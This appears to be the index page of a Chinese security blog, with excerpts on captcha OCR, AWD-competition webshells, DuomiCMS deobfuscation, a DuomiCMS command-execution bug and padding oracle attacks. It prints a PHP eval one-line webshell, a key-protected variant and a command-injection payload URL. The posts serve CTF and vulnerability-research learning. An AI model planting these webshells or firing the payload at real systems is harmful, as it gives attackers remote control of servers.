从零开始:使用Tesseract来解决某校验证码

在某次教育SRC的报告中
我校的教务处系统登录增加了一个验证码
作为一个懒人, 并且有服务需要调用教务处系统
就感觉很难受
曾经有写过一个验证码识别 —> 简单的验证码识别
不过, 如今有更加简单的方式

继续阅读 »

RSA 一句话后门

在现在awd赛中,在目标机中马往往是很重要的一件事。

1
<?php @eval($_POST[x]);

但是这样简单的一句话,自己用很方便,不过也会被对手所使用。
接下来 有这种过滤的方式

1
2
3
<?php
if (md5($_POST['key']) === 'b995b8fab13acb0a805d97ebbdb8e6cb')
@eval($_POST[x]);

通过key来保证. 这个马只能被自己使用.
不过只要对方在这个文件中 部署一个流量采集 就会轻松获取你所发送的payload,并可以利用你的获取你的key来攻击别的受害机.

所以说,需要一种人对方完全无法利用的小马。我想到是利用RSA加密所需的数据。

继续阅读 »

DuomiCMS core.class.php 反混淆

上篇为了发现DuomiCMS代码执行漏洞, 把经过混淆的core.class.php 反混淆,这篇来记录下过程。

原理

php变量的命名规则

  1. PHP的变量名区分大小写;
  2. 变量名必须以美元符号$开始;
  3. 变量名开头可以以下划线开始;
  4. 变量名不能以数字字符开头.
  5. php变量扩充到latin1字符集,其变量匹配正则是\$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]*
继续阅读 »

DuomiCMS 前台命令执行

XNUCA中, 有一题关于DuomiCMS 1.32. 解决方式是一个前台有个任意命令执行. 趁着有空,就审计一波.

分析

发现问题函数

根据提供的 payload

1
search.php?jq=1);system(dir);//&searchtype=5

漏洞文件位于 search.php, 且searchtype = 5, 翻一翻源码.
使用exit();大法,定位到出现问题的函数

继续阅读 »

铁三的记录

今天和几个大佬一起打了一波铁三的线下赛. 结果还算不错.
写一波随笔总结()一下

继续阅读 »

Padding Oracle Attack 的学习

原理

padding

由于CBC是块密码工作模式, 所以要求明文长度必须是块长度的整数倍.
对于不满足的数据, 会进行数据填充到满足整数倍. 即 padding

现在大多数的填充为PKCS#7 PKCS#5

1
2
3
4
5
6
7
8
** ** ** ** ** ** ** 01
** ** ** ** ** ** 02 02
** ** ** ** ** 03 03 03
** ** ** ** 04 04 04 04
** ** ** 05 05 05 05 05
** ** 06 06 06 06 06 06
** 07 07 07 07 07 07 07
08 08 08 08 08 08 08 08

即空N位就用N\xN 进行补全
对于刚好满足明文, 则需要另补出一个块长度的数据

继续阅读 »